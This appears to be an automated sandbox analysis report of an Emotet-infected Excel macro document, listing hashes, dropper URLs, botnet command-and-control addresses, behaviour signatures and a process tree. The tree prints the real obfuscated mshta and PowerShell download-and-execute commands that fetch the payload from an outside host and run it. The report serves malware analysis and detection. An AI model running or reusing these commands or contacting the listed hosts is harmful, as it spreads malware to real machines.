emotet | 7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20-01-2022 13:13

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General

Target

673603229988382.xlsm
Size

115KB
MD5

0f8a9bd847e673ccf5adb13ce6fe5979
SHA1

c84e4613c708eb3ef981218e278149993a3ac3a2
SHA256

7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904
SHA512

646db1fe7664f87c54e41c5fd99a082073a42bb9329b44e386045c53db2f0ae35e4a148279184e998cf637a366c57afda413054589456ecf9ae581fbd14a5647

Score

10^/10

emotet epoch5 banker persistence suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1912	3180	cmd.exe	53

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1636 created 560	1636	WerFault.exe	64

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
36	560	mshta.exe
40	3524	powershell.exe
42	3524	powershell.exe
44	3524	powershell.exe
62	3220	rundll32.exe
63	3220	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
1388	rundll32.exe
3672	rundll32.exe
1808	rundll32.exe
3220	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Wbkygowrtxmo\vchpnxankopjvvw.lrh	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3108	560	WerFault.exe	64

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3180	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3524	powershell.exe
3524	powershell.exe
3108	WerFault.exe
3108	WerFault.exe
3220	rundll32.exe
3220	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3524	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE
3180	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 224	3180	EXCEL.EXE	60
PID 3180 wrote to memory of 224	3180	EXCEL.EXE	60
PID 3180 wrote to memory of 1912	3180	EXCEL.EXE	62
PID 3180 wrote to memory of 1912	3180	EXCEL.EXE	62
PID 1912 wrote to memory of 560	1912	cmd.exe	64
PID 1912 wrote to memory of 560	1912	cmd.exe	64
PID 560 wrote to memory of 3524	560	mshta.exe	68
PID 560 wrote to memory of 3524	560	mshta.exe	68
PID 1636 wrote to memory of 560	1636	WerFault.exe	64
PID 1636 wrote to memory of 560	1636	WerFault.exe	64
PID 3524 wrote to memory of 1952	3524	powershell.exe	73
PID 3524 wrote to memory of 1952	3524	powershell.exe	73
PID 1952 wrote to memory of 1388	1952	cmd.exe	74
PID 1952 wrote to memory of 1388	1952	cmd.exe	74
PID 1952 wrote to memory of 1388	1952	cmd.exe	74
PID 1388 wrote to memory of 3672	1388	rundll32.exe	75
PID 1388 wrote to memory of 3672	1388	rundll32.exe	75
PID 1388 wrote to memory of 3672	1388	rundll32.exe	75
PID 3672 wrote to memory of 1808	3672	rundll32.exe	77
PID 3672 wrote to memory of 1808	3672	rundll32.exe	77
PID 3672 wrote to memory of 1808	3672	rundll32.exe	77
PID 1808 wrote to memory of 3220	1808	rundll32.exe	78
PID 1808 wrote to memory of 3220	1808	rundll32.exe	78
PID 1808 wrote to memory of 3220	1808	rundll32.exe	78

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\673603229988382.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:224
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1952
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1388
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3672
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wbkygowrtxmo\vchpnxankopjvvw.lrh",KEgvOemxqil
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1808
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wbkygowrtxmo\vchpnxankopjvvw.lrh",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3220
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 560 -s 1724
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1432

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b1d999a3d04dbe1f1b1903192a0878ed OCc6KrGzrkeGdk/2fP5osg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3228

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 560 -ip 560
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p
1⤵
PID:1792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1388-226-0x0000000000D40000-0x0000000000D68000-memory.dmp

Filesize
160KB

Download
memory/3180-137-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

Filesize
64KB

Download
memory/3180-134-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

Filesize
64KB

Download
memory/3180-130-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

Filesize
64KB

Download
memory/3180-131-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

Filesize
64KB

Download
memory/3180-132-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

Filesize
64KB

Download
memory/3180-133-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

Filesize
64KB

Download
memory/3180-138-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

Filesize
64KB

Download
memory/3220-256-0x00000000058A0000-0x00000000058C8000-memory.dmp

Filesize
160KB

Download
memory/3220-254-0x0000000005790000-0x00000000057B8000-memory.dmp

Filesize
160KB

Download
memory/3220-260-0x0000000005AB0000-0x0000000005AD8000-memory.dmp

Filesize
160KB

Download
memory/3220-252-0x00000000056B0000-0x00000000056D8000-memory.dmp

Filesize
160KB

Download
memory/3220-250-0x0000000005650000-0x0000000005678000-memory.dmp

Filesize
160KB

Download
memory/3220-248-0x0000000005570000-0x0000000005598000-memory.dmp

Filesize
160KB

Download
memory/3220-246-0x0000000004DB0000-0x0000000004DD8000-memory.dmp

Filesize
160KB

Download
memory/3220-258-0x00000000059D0000-0x00000000059F8000-memory.dmp

Filesize
160KB

Download
memory/3524-220-0x000002ABC2110000-0x000002ABC2112000-memory.dmp

Filesize
8KB

Download
memory/3524-231-0x000002ABC27E0000-0x000002ABC2856000-memory.dmp

Filesize
472KB

Download
memory/3524-223-0x000002ABC2710000-0x000002ABC2754000-memory.dmp

Filesize
272KB

Download
memory/3524-222-0x000002ABC2116000-0x000002ABC2118000-memory.dmp

Filesize
8KB

Download
memory/3524-221-0x000002ABC2113000-0x000002ABC2115000-memory.dmp

Filesize
8KB

Download
memory/3524-217-0x000002ABC20C0000-0x000002ABC20E2000-memory.dmp

Filesize
136KB

Download
memory/3672-238-0x0000000005740000-0x0000000005768000-memory.dmp

Filesize
160KB

Download
memory/3672-241-0x00000000058C0000-0x00000000058E8000-memory.dmp

Filesize
160KB

Download
memory/3672-236-0x00000000056E0000-0x0000000005708000-memory.dmp

Filesize
160KB

Download
memory/3672-234-0x00000000055B0000-0x00000000055D8000-memory.dmp

Filesize
160KB

Download
memory/3672-232-0x00000000054D0000-0x00000000054F8000-memory.dmp

Filesize
160KB

Download
memory/3672-229-0x0000000004F20000-0x0000000004F48000-memory.dmp

Filesize
160KB

Download